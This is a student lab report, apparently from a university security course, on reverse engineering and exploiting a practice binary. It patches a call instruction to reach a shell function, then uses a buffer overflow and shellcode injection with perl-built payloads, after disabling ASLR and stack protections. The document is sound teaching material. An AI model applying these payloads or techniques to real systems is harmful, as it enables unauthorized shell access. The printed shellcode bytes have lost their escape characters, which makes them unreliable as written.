• 175210 Exp1 PC平台逆向破解


    一、基础知识

    1、部分指令的机器码
    • NOP : 0x90

    • JNE : 0x75

    • JE : 0x74

    • JMP : 0xEB (短跳转) ,0xE9 (近跳转) ,0xFF (远跳转)

    • CMP
      CMP比较两个不同的寄存器,然后在内部EFLAGS寄存器中设置几个位,记录这些值是相同,更大还是更小。而是根据结果的不同来做适当的跳转,如下图:

      指令 意义
      JE 如果等于则跳转
      JNE 如果不等于则跳转
      JL 如果小于则跳转
      JLE 如果小于等于则跳转
      JG 如果大于则跳转
      JGE 如果大于等于则跳转
    2、汇编基础知识
    • call 指令
      call addr = push eip + jmp addr

    • ret 指令
      ret = pop %eip

    • leave 指令

    leave 相当于
    movl    %ebp, %esp
    popl    %ebp
    
    • x86 汇编函数调用
      stack.png
      1、在使用call命令跳转前,我们需要先手动将函数参数入栈 。call 指令步骤中的 push eip,就是将返回地址入栈 。函数调用结束后,可以使用 ret 命令(也可手动)将栈顶的返回地址弹入%eip中,以实现返回主进程 。
      2、在实际编写中,我们需要为函数分配一定的空间(存储运行时局部变量等),所以栈结构往往如下
      stack2.png

    3、函数调用模板

    function:
        push %ebp
        mov %esp, %ebp
        .
        .
        mov %ebp, %esp
        pop %ebp    // 这两步是为了释放栈空间,可以替换成 leave
        ret
    

    二、实验内容

    1、直接修改程序机器指令,改变程序执行流程

    下载 pwn1,使用 objdump -d pwn1 > re命令反汇编,vim re,使用set nu设置行号,关键代码如下

    nnmain.png
    foo.png
    getshellloc.png

    • 看第 185 行,其对应机器指令为 e8 d7ffffff,e8即跳转之意。经过e8这条指令,CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码, 0x80484ba + 0xd7ffffff = 0x80484ba - 0x29正好是 0x8048491(foo 函数所在位置)这个值。

    • 那我们想调用getShell,只要修改d7ffffff0x0804847d(<getShell>地址) - 0x80484ba对应的补码就行。 利用补码的性质,用 python 进行如下操作:

    buma.png

    注意,我们采用的是小端模式,所以我们要将d7ffffff改为c3ffffff,如下:

    vim pwn1 
    :%!xxd #进入16进制模式
    /e8 d7 #注意e8 d7之间要有空格,否则查询不到
    修改 d7 为 c3
    :%!xxd -r #退出 16 进制模式
    

    cha1.png

    修改后的 pwn1

    after.png

    运行 ./pwn1,可以得到shell

    getshall.png

    2、通过构造输入参数,造成BOF攻击,改变程序执行流

    • 先看这幅图
      stack2.png
      我们的目的是向gets函数传入一个值,这个值超出了程序给函数局部变量划分的缓冲区,覆盖了 %ebp4(%ebp)所指向的内容。而4(%ebp)指向的内容正是返回地址,我们只要将返回地址覆盖为getShell的地址,foo函数调用结束后就会跳转至getShell

    • 看一看foo函数的代码

    fooo.png

    mov %esp, %ebpsub $0x38, %esp为函数开辟了0x38个字节的缓冲区。lea -0x1c(%ebp), %eax是将一个指针传入%eax,这个指针指向的位置是%ebp指向的位置再向栈顶方向0x1c个字节。mov %eax, (%esp)是将%eax中存储的指针赋值给栈顶的位置。call <gets@plt>时,栈顶的内容(%eax中存储的指针)作为函数参数传给<gets>函数,所以gets函数能够使用的空间只有0x1c个字节。

    • 这样思路就很清楚了,gets 接收的字符串要覆盖0x1c个字节与%ebx指向的4个字节,最后将返回地址覆盖为getShell的地址。
    • 我没有调试,直接按上述思路构造了28 + 4字节长度的字符串,再在末尾添加上getShell的地址,如下

    str.png

    因为 '1' 都是按 Ascaii 码(8bit)存入内存的,所以 32 个 '1' 能在内存中占据32字节。再添加上getShell的地址(字节字符串格式,要注意字节序)就行了。这里使用perl语言 https://www.runoob.com/perl/perl-tutorial.html

    input.png

    成功获得shell(用很长时间linux了,但第一次看到这种写法,第二个不接参数的cat是为了将进程阻塞住吗?)

    success.png

    三、注入Shellcode并执行

    1、shellcode 入门
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    int main()
    {
        char *buf[] = {"/bin/sh", NULL};
        execve("/bin/sh", buf, 0);
        exit(0);
    }
    

    以上是调用了系统函数execve的 c 代码,编译运行可以进入shell。我一开始以为将这段代码编译成机器码,就成了一段 shellcode
    但不行,还是得汇编,使用软中断int 0x80,以下是最简单的shellcode的反汇编代码。

    981fc5121537a4c3d4a2134467cd354a.png

    可以看看学长的博客

    2、实验准备
    sudo apt install execstack
    su root
    execstack -s pwn1  //设置堆栈可执行
    execstack -q pwn1 // 查询文件的堆栈是否可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    
    3、构造要注入的payload
    • shellcode 直接使用指导书里的
    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
    
    • 有两种构造方式(这里的 retaddr 就是上文所说的“返回地址”)
      • retaddr+nop+shellcode
      • nop+shellcode+retaddr

    我一开始感觉nop+shellcode+retaddr靠谱一点,于是就按着这个思路去做,结果被坑死了……应该把实验指导完整看一遍再动手的。
    实验指导上对nop+shellcode+retaddr的解释是代码在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。下面内容使用retaddr+nop+shellcode

    • payload 结构
      其实思路和BOF攻击没什么区别,只是BOF将 retaddr 覆盖为getShell函数的地址,而此payload 将 retaddr 覆盖为 shellcode 的地址。
      结构如下(用perl 表述):
    perl -e 'print "A" x 32; print "addr + nop + shellcode" '
    

    32 个 'A' 使 shellcode 的地址恰巧覆盖retaddr

    • 找到nop + shellcode在内存中的地址
      先随意填上,再调试
    perl -e 'print "A" x 32;print "x01x02x03x04x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    (cat input_shellcode;cat) | ./pwn1
    

    打开一个新的终端

    ps -e | grep pwn1 //找到pwn1所在进程
    gdb 调试进程
    

    得到结果如下

    newfind.png

    0xffffd0ec为 retaddr 所在的地址,所以要再加上 4,得到0xffffd0f0,即为nop + shellcode的地址。

    • 获取shell
      由上,容易得到 payload
    perl -e 'print "A" x 32;print "xf0xd0xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    运行 (cat input_shellcode;cat) | ./pwn1,得到结果

    result.png

    四、总结

    1、实验收获和感想

    作为小白,觉得这次实验还是比较难的,中途在几处卡住。一处是lea -0x1c(%ebp), %eaxmov %eax, (%esp),我搞不明白这两步是怎么把gets函数的缓冲区限制到 0x1c字节的,系统地梳理了一下函数调用的知识后,才明白这两步是将指针传参给gets。之后就是shellcode,网上的例子多是32 位汇编,我 64位机器用as 编译各种报错,最后就看懂了文中贴的那个小例子,离实际运用还很远。

    2、什么是漏洞,漏洞有什么危害

    漏洞是在硬件、软件、协议等上存在的缺陷
    漏洞可以使攻击者能够在未授权的情况下访问或破坏系统

  • 相关阅读:
    案例(2)-- 线程不安全对象(SimpleDateFormat)
    案例(1)-- OOM异常
    jvm--工具
    死锁的产生以及定位死锁
    TCP--粘包拆包,netty的解决方式
    netty--处理器
    AtomicIntegerFieldUpdater和AtomicInteger
    NIO--ByteBuf
    Pipeline
    吴恩达机器学习笔记(四) —— BP神经网络
  • 原文地址:https://www.cnblogs.com/mtzf/p/12486573.html
Copyright © 2020-2023  润新知